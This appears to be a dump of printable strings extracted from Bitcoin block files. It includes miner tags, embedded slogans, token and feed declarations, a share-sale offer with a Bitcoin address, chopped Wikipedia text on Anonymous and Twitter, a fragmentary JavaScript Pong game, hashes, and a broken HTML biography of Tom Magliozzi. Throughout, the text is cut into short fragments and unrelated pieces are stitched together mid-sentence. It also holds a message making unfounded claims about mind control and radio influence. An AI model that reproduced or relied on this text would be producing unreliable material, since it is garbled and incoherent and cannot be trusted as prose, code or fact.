Mined by sjq2544946900
)Please see cryptofxgroup.R
)Please see cryptofxgroup.R
Mined by wei58549300
Time is always against us.
Mined by mayixiongdi
Mined by xiongxingbite
Mined by f2poolscant
Offer #3: One billio
ice #3: TLS is the s
tock symbol for True
True Life Stories pr
ovides communication
s between government
s government secrets
to Hollywood). TLS
books, and TV shows
with sensitivity to
Terms #3: 1USD per s
hare to andrewbb@gma
{Mined by arendelle1dm
Notice #3: Value equ
ivalent to $1/share
tcoin public address
is: 1Ng1eWVNd6cK3Pt
Format for blockchai
#3: 100 shares at $1
(or 0.xx BTC) from
esponse, after deliv
ery of value will be
from [yourCommerceID
will provide proof
'NOTHING BIG CAME OUT OF SOMETHING SMALL
u=https://cpr.sm/2OAJok7xs8x
revenge violence pri
a new world's dream
...BUT SWEAT MEMORIES REMAIN
! t.io/feed/1KoZjA5Lnb3Dgh6KosQhKER
!Digital Voluntary Carbon R
u=https://cpr.sm/6nMBTpIVXe8]
Blockchain Contract
first draft by Chris
b.com/MrChrisJ/Block
efa076d4390b18ba7ac8
09092d3ee1987af25e01
Mined by f2poolscant
'NOTHING BIG CAME OUT OF SOMETHING SMALL
Mined by f2poolscant
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
N! .net/pdf/Value-of-XCP.pdf - 2bcaR
N! 95eb91e6be1e9ae5b23de5f837395298R
7f0cdebbd7f6b0d484821951f486
)j'0 {"total": 10000000, "desc": "", "name
1 ": "CloudRoutes Coins"}
)j'0 {"total": 10000000, "desc": "", "name
)Official token for the BaR
Mined by zhanlongclam
Mined by zhp13539998899
Mined by zhangtinghao
H-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
u=https://cpr.sm/WOe54p-f8L
digitaltangibletrust.com/aR
digitaltangibletrust.com/aR
digitaltangibletrust.com/aR
digitaltangibletrust.com/aR
digitaltangibletrust.com/aR
digitaltangibletrust.com/aR
u=https://cpr.sm/7EQm3AIiYF
u=https://cpr.sm/7EQm3AIiYF
u=https://cpr.sm/7EQm3AIiYFk
LIQUOR LICENSE TOKEN
MEMORIAL BROADCAST TOKEN
DEATH BROADCAST TOKEN
HOTDOG CART LICENSE TOKENR
JUNIOR GOLD MINERS ETF
!QUICK COMMUNICATION FUNDIR
GILDED SCIENCE STOCK TOKER
!ELECTRONIC TAXI RESERVATIR
digitaltangibletrust.com/aR
digitaltangibletrust.com/aR
ssets/GLDPAMPBARHUNG
1Mined by f2poolscant
u=https://cpr.sm/fducun1yFk
digitaltangibletrust.com/aR
ssets/GLDPAMPCBARHUN
*j(ccXVyiC2JzBARN4003610Jiangxi1000.0000XXX
*$/mining.bitcoinaffiliatenetwork.com/
Mined by f2poolscant
Mined by arendelle1dm
u=https://cpr.sm/xn6GyeOE36
File: blk00190.txt
Operation "rakushka" :)
)MaidSafeCoin is a proxy tR
Mined by coinplus001
What is the Banking? Control.
Mined by wangxingsmile
iMined by arendelle1dm
$/mining.bitcoinaffiliatenetwork.com/
Virtual Reality ExperiencR
Il coin di briganzia
...BUT SWEAT MEMORIES REMAIN
QMined by f2poolscant
2&HE WHO IS GIVEN EVERYTHING HAS NOTHING
JMined by wang112233
Mined by yuyixia8911
u=https://cpr.sm/LUsS6z0Kwdx )
...BUT SWEAT MEMORIES REMAIN
Mined by gf406224454
Mined by davidoff0010
@david770,51.508515,-0.125487
Mined by klminer2014
Welcome to the real world.
clarence-beeks-buyoj
What happened to Aut
umn Radtke in Singap
The Library of Alexa
ndria cannot be burn
#The truth is that there is no spoon
Mined by zhanlongclam
Mined by qq2864635475
Mined by wwww714938002
$/mining.bitcoinaffiliatenetwork.com/
u=https://cpr.sm/qxEdls_Bnb
u=https://cpr.sm/hS_aNBN_u3
r#The truth is that there is no spoon
u=https://cpr.sm/NwN_zNEcCg
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
Mined by zhangtom123
Mined by ben3kim4frenk
Mined by notoriousvr
Mined by f2poolscant
Mined by f2poolscant
Operation "rakushka" :)
Mined by f2poolscant
u=https://cpr.sm/NjOEeI9kfNX
u=https://cpr.sm/3yxCKXCu1s
n&HE WHO IS GIVEN EVERYTHING HAS NOTHING
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
u=https://cpr.sm/9Tbrv6JCWv
u=https://cpr.sm/9Tbrv6JCWv`
u=https://cpr.sm/9Tbrv6JCWv
u=https://cpr.sm/9Tbrv6JCWv
u=https://cpr.sm/9Tbrv6JCWv(L
?2767"Anonymous (use
d as a mass noun) is
a loosely associate
d international netw
ork of activist and
hacktivist entities.
A website nominally
associated with the
group describes it
as "an internet gath
ering" with "a very
loose and decentrali
zed command structur
e that operates on i
deas rather than dir
ectives". The group
became known for a s
eries of well-public
ized publicity stunt
s and distributed de
nial-of-service (DDo
S) attacks on govern
ment, religious, and
corporate websites.
ated in 2003 on the
imageboard 4chan, re
presenting the conce
pt of many online an
d offline community
users simultaneously
existing as an anar
chic, digitized glob
al brain. Anonymous
members (known as "A
nons") can be distin
guished in public by
the wearing of styl
ised Guy Fawkes mask
orm, the concept was
adopted by a decent
ralized online commu
nity acting anonymou
sly in a coordinated
manner, usually tow
ard a loosely self-a
greed goal, and prim
arily focused on ent
ertainment, or "lulz
". Beginning with 20
08's Project Chanolo
tests, pranks, and h
acks targeting the C
hurch of Scientology
lective became incre
asingly associated w
ith collaborative ha
cktivism on a number
of issues internati
onally. Individuals
claiming to align th
emselves with Anonym
ous undertook protes
ts and other actions
(including direct a
ction) in retaliatio
n against anti-digit
al piracy campaigns
by motion picture an
d recording industry
trade associations.
Later targets of An
onymous hacktivism i
ncluded government a
gencies of the US, I
srael, Tunisia, Ugan
da, and others; chil
d pornography sites;
copyright protectio
n agencies; the West
boro Baptist Church;
and corporations su
ch as PayPal, Master
Card, Visa, and Sony
. Anons have publicl
y supported WikiLeak
s and the Occupy mov
ement. Related group
s LulzSec and Operat
ion AntiSec carried
out cyberattacks on
US government agenci
es, media, video gam
e companies, militar
y contractors, milit
ary personnel, and p
olice officers, resu
lting in the attenti
on of law enforcemen
t to the groups' act
ivities. It has been
described as being
anti-Zionist, and ha
s threatened to eras
e Israel from the In
ternet and engaged i
n the "#OpIsrael" cy
ber-attacks of Israe
li websites on Yom H
aShoah (Holocaust Re
membrance Day) in 20
ple have been arrest
ed for involvement i
n Anonymous cyberatt
acks, in countries i
ncluding the US, UK,
Australia, the Neth
erlands, Spain, and
Turkey. Evaluations
of the group's actio
ns and effectiveness
vary widely. Suppor
ters have called the
group "freedom figh
ters" and digital Ro
bin Hoods while crit
ics have described t
hem as "a cyber lync
h-mob" or "cyber ter
rorists". In 2012, T
ime called Anonymous
one of the "100 mos
t influential people
us_at_Scientology_in
_Los_Angeles.jpg<974
ttp://commons.wikime
dia.org/wiki/File:An
onymous_at_Scientolo
gy_in_Los_Angeles.jp
((((((((((((((((((((
adf033de424b9bce050c
5f3b7dbe366fd69c1807
fa0fe41cc4ed4e504887
3d25*660?adf033de424
b9bce050c5f3b7dbe366
fd69c1807fa0fe41cc4e
53378e64faac2dc9d4bd
93251eac2b1f5a2ac0c8
5feabb6d53c13593a67c
e966b426bf342a9b679e
cece86efbbd88769620b
f58ecfacb2f08a9530c8
176f9192ccdde6b8320f
3195f8248f90afca13b3
b9b27ac1d61328f4fdd3
99095eae132ffd189f7f
e8f3c49d62221130e610
658e035657d4d5cc35ac
81c011eb49560f6bc199
6648032ca54ad7cfd7ad
791c98ccc7b4916a7376
5c4a24389332c0ab404f
ad24f01776075bccf02b
3f3346729fb7f3c2b025
6719594ccc5a7226e895
da144ee4832a34f20f0e
Welcome to the real world.
Mined by f2poolscant
Mined by arendelle1tm
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
What is the Banking? Control.
/941\Twitter is an o
nline social network
ing service that ena
bles users to send a
nd read short 140-ch
aracter messages cal
istered users can re
ad and post tweets,
but unregistered use
rs can only read the
m. Users access Twit
ter through the webs
ite interface, SMS,
or mobile device app
. Twitter Inc. is ba
sed in San Francisco
and has more than 2
5 offices around the
s created in March 2
006 by Jack Dorsey,
Evan Williams, Biz S
tone and Noah Glass
and by July 2006 the
site was launched.
The service rapidly
gained worldwide pop
ularity, with more t
han 100 million user
s who in 2012 posted
340 million tweets
per day. The service
also handled 1.6 bi
llion search queries
per day. In 2013 Tw
itter was one of the
ten most-visited we
bsites, and has been
described as "the S
MS of the Internet."
As of July 2014, Tw
itter has more than
500 million users, o
ut of which more tha
n 271 million are ac
tive users. --Wikip
ogo_2012.svg.png:512
3840f40e0e2b8f9df1a6
2d1c4c49765b2301db0f
a8d7ad4b4781ea63397b
136a:132*3840f40e0e2
b8f9df1a62d1c4c49765
b2301db0fa8d7ad4b478
0a420b3a32295c197119
9950c2e909129a7eb9c5
CMined by f2poolscant
MagusNet Anonymous P
ublic Proxy VPN - ht
tp://3mrdrr2gas45q6h
All consistent axiom
atic formulations of
number theory inclu
de undecidable propo
#The truth is that there is no spoon
Time is always against us.
Welcome to the real world.
u=https://cpr.sm/6a6TEUanpQ
Mined by nanjinghaowei
6 with some other place.
'j%3 sident of Australia who has migrate
'j%2 try or ethnicity, or a permanent re
'j%0 An Austrian Australian is an Austra
'j%1 lian citizen who has Austrian ances
)j'5 ans doubt its existence or confuse it
Karl Semich: You've
suffered a repeated
sensation of loss of
soul and incredible
memory loss. Your v
ulnerability to thes
e sensations makes y
ou incredibly contro
llable. You need to
physically protect y
ourself from the inf
luence of others and
the information of
others, including th
e propagation of aud
io, sound, radio, an
d magnetic fields (S
ERIOUSLY), so that y
ou can come to an in
dependent conclusion
of your own and bui
ld up psychological
coherence. YOU NEED
TO SPEND YOUR LIFE I
N SERVICE TO THE EAR
TH AND WELLBEING OF
ALL. Living in an in
dustrial capitalized
society encourages
you to indulge in lu
xury and not be awar
e of the needs of th
e complex systems ar
ound you. We build u
p fake needs that ma
ke us hurt others an
d spend money. Your
mental trauma wraps
your secrets, and it
has been violated a
nd scrambled. The br
ain is like a node-b
ased computer progra
m. You are intellige
nt enough to resolve
all these problems,
and so is everybody
else. -Karl Semich
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Mined by wangxingsmile
?9"Fargo, NDChiharu
EMBII and The Atom S
ea say Happy Hallowe
@3));Q<@FILML.9TZSJY
1)1IIIIIIIIIIIIIIIII
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89:CDEFGHIJSTUVWXYZc
CDEFGHIJSTUVWXYZcdef
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a3b3a13329ce6269c146
d423eace4a53c3453a9b
dff6deae964bc2c6674b
Mined by arendelle1tm
Follow the white rabbit.
Follow the white rabbit.
$https://www.tpctest.com/tR
$https://www.chunkhost.comR
"https://www.topcoin.com/aR
What is the Banking? Control.
N! .net/pdf/janssen-portfolio-2014-R
N! 11-01.pdf - 076a5ba16333eebaddfcR
N! 5a5109099f9f90e605cb206c6aba1872R
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
Mined by f2poolscant
&'NOTHING BIG CAME OUT OF SOMETHING SMALL
vO! CKSCAN VERIFY-ADDRESS dkrskxa9rnR
http://jarokn.deviantart.R
$/mining.bitcoinaffiliatenetwork.com/
!Currency for Coin and PeaR
Operation "rakushka" :)
}h@! CKSCAN VERIFY-ADDRESS lys233ibeaR
Mined by qq980117556
Time is always against us.
YMined by f2poolscant
Mined by zhanlongclam
Mined by zhanlongclam
)Crypto-Rewards Program htR
...BUT SWEAT MEMORIES REMAIN
0! t.io/feed/17L43M1pVEL8WhTsd1QApYR
Follow the white rabbit.
t&HE WHO IS GIVEN EVERYTHING HAS NOTHING
u=https://cpr.sm/wJ277kHEHj
618bc3531a23199946dc
0b474393096755ea85ed
Mined by qq1029943616
#The house currency for CoR
Mined by lcw4087585002
! t.io/feed/12gtAQQ7zUTQVSxrJFb2QcR
lMined by fanwei8888
query.min.js*95786?/
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1d4b2c3bd1d521949fc4
dccca6661d92db7349a9
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1e5f21f1a244c3f5a418
2a3def5b32f2f94d4c72
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d2114c872e2ef72bb8e8
71417e711bdeaff6cb17
ea001b630c8e657db4c1
2c87549d72a7d5b13f5b
b503da168402ae230198
Operation "rakushka" :)
Mined by zhanlongclam
u=https://cpr.sm/up_wYtiDpP
u=https://cpr.sm/up_wYtiDpP
u=https://cpr.sm/up_wYtiDpP
r'NOTHING BIG CAME OUT OF SOMETHING SMALL
u=https://cpr.sm/p8Bo0j0tlc
File: blk00191.txt
addle = Math.random(
//80% chance of bet
ter centering the pa
rwise the paddleAI w
ill most of the time
ball in one of its
if(centerPaddle > 0
//if ball cl
oser to up side of c
if( Math.abs(y
- paddleyAI) < Math.
abs(y - paddleyAI -
if(paddleyAI - 3
if(paddleyAI + p
addleh + 3 <= HEIGHT
<title>BO
<meta char
background-image
: url('bitfossil.png
background-attac
ackground-position:
<center><h1>
#include file="..\br
oadcast\global-tweet
ript src="../f5e8166
c30fd080f9c5f0ab79a5
7b058e0d31364f8064f3
9badddff2675f754b/jq
uery.min.js"></scrip
$(document).read
//BEGIN LIBRARY
var upDown = fals
anvas = document.get
ElementById( 'myCanv
//set downDown o
r upDown if the down
or up keys are down
if (evt.keyCode ==
40) downDown = true;
t.keyCode == 38) upD
nset them when the d
own or up key is rel
if (evt.keyCode
== 40) downDown = fa
(evt.keyCode == 38)
document).keydown(on
cument).keyup(onKeyU
paddley = HEIG
ctx = canvas.getCon
WIDTH = canvas.wid
x = Math.floor(M
ath.random() * ((WID
y = Math.floo
r(Math.random() * HE
= Math.floor(Math.ra
if (dx == 0) d
th.floor(Math.random
if (dy == 0) dy =
rvalId = setInterval
(draw, Math.floor(Ma
th.random() * ((5-3)
function circle
ctx.arc(x, y, r,
0, Math.PI*2, true);
function rect(x,y,
ctx.closePath
ctx.clearRect
(0, 0, WIDTH, HEIGHT
unction followBallAI
/randomly pick numbe
var delayReact
ion = Math.random();
% chance of reaction
ayReaction >= 0.10)
(y > paddleyAI + pad
paddleyAI + paddleh
paddleyAI +=
else if(y < paddley
on drawSideLines() {
ctx.closePa
ctx.beginPath(
0,HEIGHT -10,WIDTH,H
//move the padd
le if up or down is
if(paddley + paddle
paddley += 3
else if (upDown) {
(WIDTH-paddlew,paddl
ey, paddlew, paddleh
addleyAI, paddlew, p
if (y + dy +
radius > HEIGHT || y
- radius <= paddlew
if (y <= paddleyAI
- radius || y >= pad
dleyAI + paddleh + r
earInterval(interval
se if (x + dx + radi
us > WIDTH - paddlew
if (y >= paddley -
radius && y <= paddl
ey + paddleh + radiu
* ((y-(paddley+padd
clearInterval(in
</script>
vas id="myCanvas" wi
dth="720" height="50
> bitfossil.png:434
e2f0976c03de9fec170f
664aad64dfba31575aad
a6499c7d7d6838bf98ca
3c83\330>e2f0976c03d
e9fec170f664aad64dfb
a31575aada6499c7d7d6
632a4b5beb846a9cfb4d
ac9192d0af235f688bf1
e7a3710f845e4600bd1b
13e593e40126886d73e7
83173766aadab8a9fc54
4172fd663f320e8e77b6
5a388e8b0692e920b167
50896acd1db7f5010e51
Time is always against us.
Mined by f2poolscant
#The truth is that there is no spoon
0-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
$/mining.bitcoinaffiliatenetwork.com/
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
DdWU5Mined by canaan
u=https://cpr.sm/oM3-PZPzpC8
&j$1 me": "GILLIES", "total": 10000000}
)j'0 {"desc": "Gilllies family asset", "na
2 r wrath is upon you.
)j'1 d of house Gillies. You shall know ou
)j'0 This is a test declaration by the hea
*please-see-broadcasts-forR
2 r wrath is upon you.
)j'1 d of house Gillies. You shall know ou
)j'0 This is a test declaration by the hea
Don't fuck with 'Murica!!R
)j'0 Second test of the blockchain announc
7c57cc6a111d2390f4a2
1be68b86a90c4db8b614
u=https://cpr.sm/iIeEMq4zqKEd
Time is always against us.
Welcome to the real world.
Mined by liugonggong
Mined by arendelle1dm
Mined by xuwuyang163
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
What is the Banking? Control.
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Mined by wangxingsmile
'NOTHING BIG CAME OUT OF SOMETHING SMALL
Redeemable for Swarmops sR
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&HE WHO IS GIVEN EVERYTHING HAS NOTHING
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]Mined by f2poolscant
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Mined by zhaodong1982
K'NOTHING BIG CAME OUT OF SOMETHING SMALL
Mined by wangxingsmile
Mined by shenxiaowei0406
N! .net/pdf/janssen-portfolio-2014-R
N! 11-03.pdf - 453eecd01bb99556f7a3R
N! 3a9884c86175778c82268eec9107a0cfR
#The truth is that there is no spoon
Mined by lyhsw903924808
___ \ |__|____
_____ ____ ____
__ ____ _____ __
_________ _________
\ | \__ \ /
\_/ __ \ / ___// __
_\ / \ / _ \_
__ \/ ___\__ \ /
|/ __ \| Y Y \ __
_/ \___ \/ /_/ > Y
Y ( <_> ) | \/ /
\_____\/\__| (____
/__|_| /\___ >___
_ >___ /|__|_| /\
____/|__| \___ (__
\______| \/
\/ \/ \/___
__/ \/
/_____/ \/
Kana Y was here too.
a'NOTHING BIG CAME OUT OF SOMETHING SMALL
s! ader.io/feed/14UtQb4VJVzsAfnWViZR
! ader.io/feed/1EYygQ9DWer8qPrHrVJR
q! ader.io/feed/1PUvKZkoh3KVjfYWYHXR
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-! ader.io/feed/1EpH4zojCLXq1yB9GweR
! ader.io/feed/127un9Pio2ujGVwShdTR
! ader.io/feed/1PZFLU3y5MvxYFMSbdYR
! ader.io/feed/1KJA2nV4eQs8RgFWDv9R
>! ader.io/feed/1DaCprrfFhueBST8kviR
Mined by wanyouyinli1
['NOTHING BIG CAME OUT OF SOMETHING SMALL
1TH/s Bitcoin Mining AsseR
B#The truth is that there is no spoon
#The truth is that there is no spoon
\Mined by f2poolscant
+'NOTHING BIG CAME OUT OF SOMETHING SMALL
./sdmmmmmm
:sdmmmmmddddd
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``-sooosyho``
#The truth is that there is no spoon
megabigpower.comTX.c]
Mined by f2poolscant
)Exelon, 100% silver backeR
)LOCAL ADVERTISEMENT OR BUR
Z&HE WHO IS GIVEN EVERYTHING HAS NOTHING
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
>13636<<DIV style="l
ine-height: 140%; fo
enter><h2>CURRICULUM
VITAE</h2><h1>Thoma
s L. Magliozzi</h2><
h1>AKA Stupey</h1></
th="131" height="219
" align="LEFT" src="
8">I must admit, I'm
a little reluctant
to divulge all the f
bout my life (especi
ally considering all
the fine work by th
ed to get me into th
e Federal Witness Pr
otection Program). B
ast Cambridge, Massa
chusetts (yes, Our F
ve years," as they s
ay, on Harding Stree
eatest neighborhood
on the planet. Kids
everywhere. Just han
much happened. Just
good times. (My ex-w
ife insisted that if
I had had a normal
ildhood, I wouldn't
be plagued with thos
e continual bouts of
) I went to the Gann
ett Schooland then t
he Wellington School
Cambridge High and L
><IMG align="RIGHT"
ace="8">From then on
, it was downhill. I
went to MIT... or t
sed to call it. I tu
rned down Harvard, b
ecause MIT gave me $
and that was big buc
ks back in 1880.</P>
T. I worked my butt
off for four long ye
ars. The only thing
ty was the 5:15 Club
, named, I guess, fo
r the guys who didn'
nd took the 5:15 tra
in back home. Yeah,
right... 5:15, my tu
me before midnight!
And when I say "guys
" it's because back
females at MIT (to
my knowledge, at lea
st. I do remember so
resumably for female
students. I never s
aw anyone easily ide
ale enter or leave t
he room. I won't say
anything else. I wa
mpus in a complete f
unk for weeks, seein
g only nerds and I m
s I depressed. Until
one day I stumbled
upon the 5:15 Club.
, yelling, shooting
pool and playing pok
er. I had found my h
y managed to graduat
e and serve time in
ould have been an of
ficer. But I wasn't.
I had spent several
was recommended for
the "advanced corps,
" (i.e., sign up for
Air Force and we'll
make you an officer
). People told me th
nor. I went to the i
nterview. I flunked.
And I know why. At
the very serious off
icers asked me this
penetrating question
Magliozzi. When you
entered MIT you had
a choice of Army ROT
C. Why did you choos
e the Air Force?" I
pondered for a momen
h a straight face, "
Because, Captain, I
look so much better
. Don't you think?"
I got the rejection
letter a week later.
MG width="183" heigh
t="170" align="RIGHT
space="8">So, after
graduation, I had to
do six months of ac
ll my Army Reserve r
equirement...or get
drafted for two year
months in Fort Dix,
New Jersey, India Co
mpany, Fourth Traini
my good pals Sergean
t McNeeley and Serge
ant Torres. Boy, was
. I was always in tr
ouble because I coul
dn't shut up. I had
patrol for you cons
cientious objectors)
once a week. One ni
to 6 a.m., I peeled
6,000 pounds of pot
Saturday morning af
ter our little trek
through the woods of
McNeeley would come
into the barracks an
d announce, with his
rn accent, "Everyone
will go on pass thi
s weekend... except
eeeeozzzzi." I'd lau
gh like hell. That r
eally pissed him off
="139" height="171"
align="LEFT" src="to
">After completing m
y six months of acti
ve duty (most of whi
ook) I entered the c
orporate world. I wo
rked for Sylvania's
sion in Woburn. Thos
e were the days when
everyone cheered wh
stor that worked. Th
e important lesson I
learned there was n
without first hangi
ng around the place
for a couple of days
later I went to wor
k for the Foxboro Co
mpany in Foxboro, MA
ostly. I had a serie
s of superb jobs, st
arting in the intern
nd working for one o
f the sweetest peopl
e I've had the pleas
s planet, a guy name
d Russ Milham. After
a while, I became F
tor, visiting such w
onderful places as T
aiwan, Singapore and
Then I became the co
mpany's long-range p
lanner. What a great
esk, contemplating t
he future. (It was a
bout this time that
ecret of multiple of
fices. Whenever they
must be in his othe
r office." Right.)</
hat with a plum like
this I'd be in seve
nth heaven. But the
to me... an hour ea
ch way. I couldn't m
cause it was nowhere
s-ville. I HAD to li
ve in Cambridge (My
hat finally did it w
as a tractor-trailer
truck that almost d
128 on my way to wor
k one day. Shaking i
n my little MGA afte
r that experience, I
mple question. "If I
had bought the farm
out there on Route
t I be bent at all t
he LIFE that I had m
issed?" I drove to w
y boss's office, and
ss was convinced tha
t I had taken a job
with a competitor. H
derstand the actual
truth. Life was the
miss the guys at Fox
boro: Chick Nighting
ale, Doug Carey, Mik
e, Henry Desautel, N
orm Robillard. Speak
ing of Norm Robillar
one day that my life
is not complete bec
ause I'm not a skier
fix that. He takes
me skiing one NIGHT
after a FREEZING RAI
e, "It's easy. Don't
bother with the les
sons. Just follow me
ht in the hospital a
nd the next two mont
hs on crutches. I th
Every time my knee
collapses and I fall
down in the street.
weeks after I quit
the Foxboro Company,
I was learning the
ng out" in Harvard S
quare, drinking coff
ee. I did that for a
od. It's amazing how
little money it tak
es to live when you
d don't want any!).
Just the money I was
saving not getting
enough to live on.
Odd jobs was the ans
wer. Here was the be
two or three truly
GREAT ideas I've had
in my life): I was
ment building that w
as loaded with singl
e women. But how to
et this. If your apa
rtment needed painti
ng, the owners of th
upply the paint but
they wouldn't supply
the labor. I went i
usiness. My marketin
g effort consisted o
f a small sign in th
'll paint your apart
ment--$50 a room." (
You may think $50 wa
was all I could affo
rd!) The phone rang
off the hook. Life w
nother one of the od
d jobs I stumbled up
on while self-unempl
national Marketing I
nstitute. Would I mi
nd going to Saudi Ar
r two to teach in an
"executive developm
ent program"? Would
kidding? I realize i
n retrospect that th
ey couldn't find any
month or two. Why?
Because all the qual
ified people had, wh
t to mention that wh
ile working at Foxbo
ro, I had gotten an
eaching part-time at
various universitie
s around Our Fair Ci
I taught for IMI fo
r many years and got
to see some more of
ces on the planet (d
oes the name Kuala L
umpur mean anything
to meet another one
of the nicest guys I
e aside: Every once
in a while one of th
ese exotic places wo
versations with Doug
ie Q. Berman (the es
teemed producer of o
d say, "I remember o
ne time when I was i
n (insert some exoti
ougie began to wonde
r under what circums
tances I had visited
So my brother and I
concocted this stor
y about my years in
m now in the Witness
Protection Program.
Dougie buys it. The
nd asks us to be on
the "Tonight Show."
Dougie tells them th
show unless they ag
ree to put one of th
ose black dots over
t, we told him the t
, life is good. I'm
painting apartments,
bopping around Kual
along comes my dead
beat brother. He had
been teaching scien
Vermont. And when t
he Vermonters ran hi
m over the border, h
e looking for a job.
I made the mistake
of telling him about
three great ideas I
've had in my life:
a do-it-yourself aut
ad actually thought
this up while at the
contemplating long-t
erm trends. I put to
gether the trend of
auto repair costs wi
th the fad of everyo
ne (hippies, mostly)
"getting into it,"
ddabing, baddaboom..
.out comes DIY Auto
Repair. "GREAT," say
IMG align="LEFT" alt
="Tom and Ray" src="
"8">"What are you, n
uts?" I say to him.
"It's the W word. I
ore. I drink coffee
and paint the apartm
ents of beautiful wo
ut since he was tota
lly unemployable and
his wife was with c
born Hacker's Haven
(that name was anot
her of my truly grea
pre-PC [I mean perso
nal computer, not po
litically correct] d
someone who didn't k
now what the hell he
was doing but gave
A haven for hackers.
How sweet it is.</P
We lost money but we
had a blast. And tw
o very important eve
g this time (which m
akes the DIY idea ev
en better than great
hat, since our busin
ess was new and diff
erent, people knew a
e asked to take part
in a panel of autom
otive experts at WBU
affiliate. I was the
only one who showed
up (a panel of one?
the auto radio show
was Ray's and mine.
e important, I met t
he woman who is now
my wife. WOW. What a
to say that the web
of coincidences, ev
ents and luck that l
explains all we need
to know about the c
, to supplement my m
eager income at the
garage, I worked a d
a small consulting
company in Boston. T
echnology Consulting
ny owned by an MIT c
lassmate of mine...
So there I was: gara
ge mechanic, univers
ired. It was beginni
ng to feel like the
W word. So I sat dow
e day and said, "How
does one avoid the
ng to work?" And it
came to me. College
So, in addition to w
orking at the garage
, consulting and tea
student in the docto
ral program at Bosto
n University. It too
k me nine long years
lege of being called
"Doctor." (Although
t doesn't quite have
the ring that I ima
slaving away on my d
P>By the way, while
I was busting my coo
kies sitting at my c
ght writing my disse
rtation, my wonderfu
l daughter Lydia sen
the following poem (
for which you need t
o know that my initi
L is for Louis... af
ter my father... and
the M... well, you
WHEN DEADLINES ARE C
LOSE,<BR> MOTIVATIO
YOU'RE WISHING FOR
FAIT ACCOMPLI,<BR>
WITH YOUR KEYBOARD
YOUR NOSE TO THE SC
REEN,<BR> PICTURE T
HIS...TLM, PHD.</BLO
I made it. I put on
the robes, they cal
led me "Doctor" (for
ot a job as a real c
ollege professor. It
was good. For about
tually it happened g
radually, but I didn
rough deep thought,
meditation and praye
iphany: Teaching suc
ks. {C}<!--(This too
is a long story, bu
t if anyone wants to
know about my feeli
ngs regarding educat
ion, take a look at
my <A HREF="http://w
ww.cartalk.com/conte
nt/rant-and-rave-36"
>New Theory of Learn
So I quit. The dean
begged me not to, so
I stayed. And then
now I am fully quit.
I'm very happy.</P>
HT" alt="Tom in the
studio" src="tom14.j
t just about takes m
e up to now. I'm doi
ng the radio show, r
on the World Wide We
b, writing half of t
his book, doing odd
who needs her apartm
ent painted?), and d
rinking coffee in Ha
people ask if I've
spent my whole life
say, "Not yet."</P>
height="47" alt="To
m's signature" src="
tom-signature.jpg"><
s Louis Magliozzi (J
ember 3, 2014)</p></
and modified from u
rl=http://www.cartal
k.com/content/tom-an
d-rays-bios-photos-2
-->tom-signature.jpg
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4494df8cdfb1473742c7
93e11fbdb627877ffe1c
add9688fbc7d56aba5ce
c5617897cc2a665a2edf
5921095f4ab9316437be
28165151526d39e744aa
ced51a0f21404df11089
39025b7d901b96cca1c4
ad3f173e2ce4de42f991
5a7866ed7e4cef7343a7
d9dcb499221f187a0fcd
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56efbf4af6cfd13c4c3b
a7721f6d40146344a58e
9fb3ac713d24aebc1d60
7f45666ce0d2845744ef
1dbc95902f5f130c1ab5
85e127b4fb2d277a8750
064ad696a46cc0045c1c
705a0d44a693301df41d
74477e876c3b670ef7bc
6aecbde3635977246d91
23ddcd5ea9bb62133422
dd08dfd3bd3f20a6b13e
bd5c86751e9a517c6917
2f7275e221d1eff1119b
b0b4204e7a3a271b9a36
c87592547e7bb1c2559b
f036bcc29270dd621114
d8460b4ba3ba7f0e0aa5
f5f30e356b547f377595
60d99817561e39c8e1f2
e16308df401621d3bf39
e3f2aa2c071bdb1d3f0a
06903e039645514dd23d
6ec8c8608522cd1800b7
2e5c8515f8e83e881b73
94165304adee89e35ae3
Mined by lcw88888888
Postera Crescam Laude
$j"crypto always wins~Thanks satoshi
Mined by arendelle1dm
&j$6901009908981#2013051714:44TNW004B02
(j&I cant see u but I still love you lili
Operation "rakushka" :)
010B130500775321F997
(The official currency of R
Welcome to the real world.
1995ONEDOLLAR:A05608943C
1989HONGKONGTENDOLLARS:YY302579
u=https://cpr.sm/-XhMhTU-oK8>
! ader.io/feed/1CCxvz84FzgdrGPvJsHR
! ader.io/feed/1HSGLd6awEM72ZwbegqR
i! ader.io/feed/1H2fcE71Ay2gM2gVMnAR
! ader.io/feed/153Lmi64sjqxF1z1iQpR
0~! ader.io/feed/18xzxpfymFHW9g8wkbWR
5!! ader.io/feed/1PMVcHzrhGrF9kipF5FR
! ader.io/feed/16JsnJD7CJWBSEmKgKdR
! ader.io/feed/1Ebmm2ydkjmPJbKM1veR
FkV! ader.io/feed/1C7pjwAFwJuSrRSHp4hR
2! ader.io/feed/1CsYvjs571efJuQ2dEoR
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
Postera Crescam Laude
Postera Crescam Laude
$j"crypto always wins~Thanks satoshi
GB2APDK Ninjas team 4ever.
Mined by wwww714938002
#The truth is that there is no spoon
What is the Banking? Control.
'NOTHING BIG CAME OUT OF SOMETHING SMALL
Mined by AntPool 04"
3&HE WHO IS GIVEN EVERYTHING HAS NOTHING
! CKSCAN VERIFY-ADDRESS fqpb67pxayR
Mined by f2poolscant
Mined by cyha20140108
Mined by AntPool 04"
)j'0 {"total": 10000000, "desc": "", "name
Mined by zhaodong1982
*j( -> 1WEEDv1djKNz9hTXhoFRUzzsiQ2Wf8ph5 <-
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...BUT SWEAT MEMORIES REMAIN
'NOTHING BIG CAME OUT OF SOMETHING SMALL
File: blk00192.txt
! counterparty.io/feed1GK38WnKyCnbR
21V8Pzo7UwxwVXnXgPEjUv
%! counterparty.io/feed16XSZciMhrgAR
H1VUHDaSuhCk7MGi1h4UFj
[! counterparty.io/feed1PpswEXZSTrjR
rSerjZ5wXcV7afvzZJv3bJ
! counterparty.io/feed1MKdBFMdPthMR
p3oMHzdahkJuCpiqAS3jWp
! counterparty.io/feed1whGrRr6bRjnR
